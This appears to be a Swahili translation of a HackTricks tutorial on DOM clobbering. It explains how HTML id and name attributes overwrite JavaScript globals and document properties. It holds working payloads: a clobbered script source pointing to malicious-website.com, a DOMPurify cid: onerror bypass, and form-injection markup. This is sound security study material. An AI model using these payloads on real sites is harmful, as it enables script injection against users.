Dom Clobbering

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Msingi

Inawezekana kuunda mabadiliko ya kimataifa ndani ya muktadha wa JS kwa kutumia sifa id na name katika vitambulisho vya HTML.

html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>

Tu vipengele fulani tu vinaweza kutumia sifa ya jina kuweza kuharibu globals, ni: embed, form, iframe, image, img na object.

Kwa kushangaza, unapokuwa unatumia kipengele cha fomu kuweza kuharibu variable, utapata toString ya kipengele chenyewe: [object HTMLFormElement] lakini kwa kiungo toString itakuwa href ya kiungo. Hivyo, ikiwa utaweza kuharibu kwa kutumia a tag, unaweza kudhibiti thamani wakati inapotendewa kama string:

html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>

Arrays & Attributes

Inawezekana pia kuharibu array na sifa za kitu:

html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>

Ili kuharibu sifa ya 3 (mfano x.y.z), unahitaji kutumia form:

html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>

Kukandamiza sifa zaidi ni ngumu zaidi lakini bado inawezekana, kwa kutumia iframes:

html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>

warning

Tag ya style inatumika kutoa muda wa kutosha kwa iframe kuonyesha. Bila hiyo utaona arifa ya undefined.

Ili kuharibu sifa za ndani zaidi, unaweza kutumia iframes zenye uandishi wa html hivi:

html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>

Kupita Filter

Ikiwa filter inafanya mzunguko kupitia mali za node kwa kutumia kitu kama document.getElementByID('x').attributes unaweza kufuta mali .attributes na kuvunja filter. Mali nyingine za DOM kama tagName, nodeName au parentNode na zaidi pia zinaweza kufutwa.

html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>

Clobbering window.someObject

Katika JavaScript ni kawaida kupata:

javascript
var someObject = window.someObject || {}

Kuharibu HTML kwenye ukurasa kunaruhusu kubadilisha someObject na nodi ya DOM, ambayo inaweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha someObject na kipengele cha kiungo kinachorejelea skripti mbaya:

html
<a id=someObject href=//malicious-website.com/malicious.js></a>

Katika msimbo unaoweza kuathiriwa kama:

html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>

Hii mbinu inatumia chanzo cha script kutekeleza msimbo usiotakikana.

Hila: DOMPurify inakuwezesha kutumia cid: itifaki, ambayo haiwezi kuandika URL kwa alama za nukuu mbili. Hii inamaanisha unaweza kuingiza alama ya nukuu mbili iliyowekwa ambayo itafutwa wakati wa utekelezaji. Hivyo, kuingiza kitu kama <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> kutaifanya HTML iliyowekwa &quot; kuwa futwa wakati wa utekelezaji na kutoroka kutoka kwa thamani ya sifa ili kuunda tukio la onerror.

Mbinu nyingine inatumia kipengele cha form. Maktaba fulani za upande wa mteja zinakagua sifa za kipengele kipya cha fomu ili kuzisafisha. Hata hivyo, kwa kuongeza input yenye id=attributes ndani ya fomu, unabadilisha kwa ufanisi mali za sifa, ukizuia sanitizer kufikia sifa halisi.

Unaweza kupata mfano wa aina hii ya clobbering katika andiko hili la CTF.

Clobbering document object

Kulingana na hati, inawezekana kubadilisha sifa za kipengele cha hati kwa kutumia DOM Clobbering:

Kiolesura cha Document kimeunga mkono mali zenye majina. Majina ya mali yanayoungwa mkono ya kipengele cha Document wakati wowote yanajumuisha yafuatayo, kwa mpangilio wa mti kulingana na kipengele kilichochangia, bila kuzingatia nakala za baadaye, na kwa thamani kutoka id sifa zikija kabla ya thamani kutoka kwa sifa za jina wakati kipengele kimoja kinachangia zote mbili:

- Thamani ya sifa ya maudhui ya jina kwa exposed embed, form, iframe, img, na exposed object vipengele ambavyo vina sifa ya maudhui ya jina isiyo tupu na viko katika mti wa hati na hati kama mizizi;

- Thamani ya sifa ya id ya maudhui kwa exposed object vipengele ambavyo vina sifa ya maudhui ya id isiyo tupu na viko katika mti wa hati na hati kama mizizi;

- Thamani ya sifa ya id ya maudhui kwa img vipengele ambavyo vina sifa ya maudhui ya id isiyo tupu na sifa ya maudhui ya jina isiyo tupu, na viko katika mti wa hati na hati kama mizizi.

Kwa kutumia mbinu hii unaweza kubadilisha thamani zinazotumika sana kama document.cookie, document.body, document.children, na hata mbinu katika kiolesura cha Document kama document.querySelector.

javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Kuandika baada ya kipengele kilichoharibiwa

Matokeo ya wito kwa document.getElementById() na document.querySelector() yanaweza kubadilishwa kwa kuingiza tag ya <html> au <body> yenye sifa sawa ya id. Hapa kuna jinsi inavyoweza kufanywa:

html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>

Zaidi ya hayo, kwa kutumia mitindo kuficha hizi lebo za HTML/body zilizowekwa, kuingiliwa na maandiko mengine katika innerText kunaweza kuzuiwa, hivyo kuboresha ufanisi wa shambulio:

html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Uchunguzi kuhusu SVG ulibaini kwamba tag <body> inaweza pia kutumika kwa ufanisi:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Ili tag ya HTML ifanye kazi ndani ya SVG katika vivinjari kama Chrome na Firefox, tag ya <foreignobject> inahitajika:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Clobbering Forms

Ni uwezekano wa kuongeza ingizo jipya ndani ya fomu kwa ku ainisha sifa ya form ndani ya baadhi ya lebo. Unaweza kutumia hii ku ongeza thamani mpya ndani ya fomu na hata kuongeza kitufe kipya cha kutuma (clickjacking au kutumia baadhi ya msimbo wa JS .click()):

html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks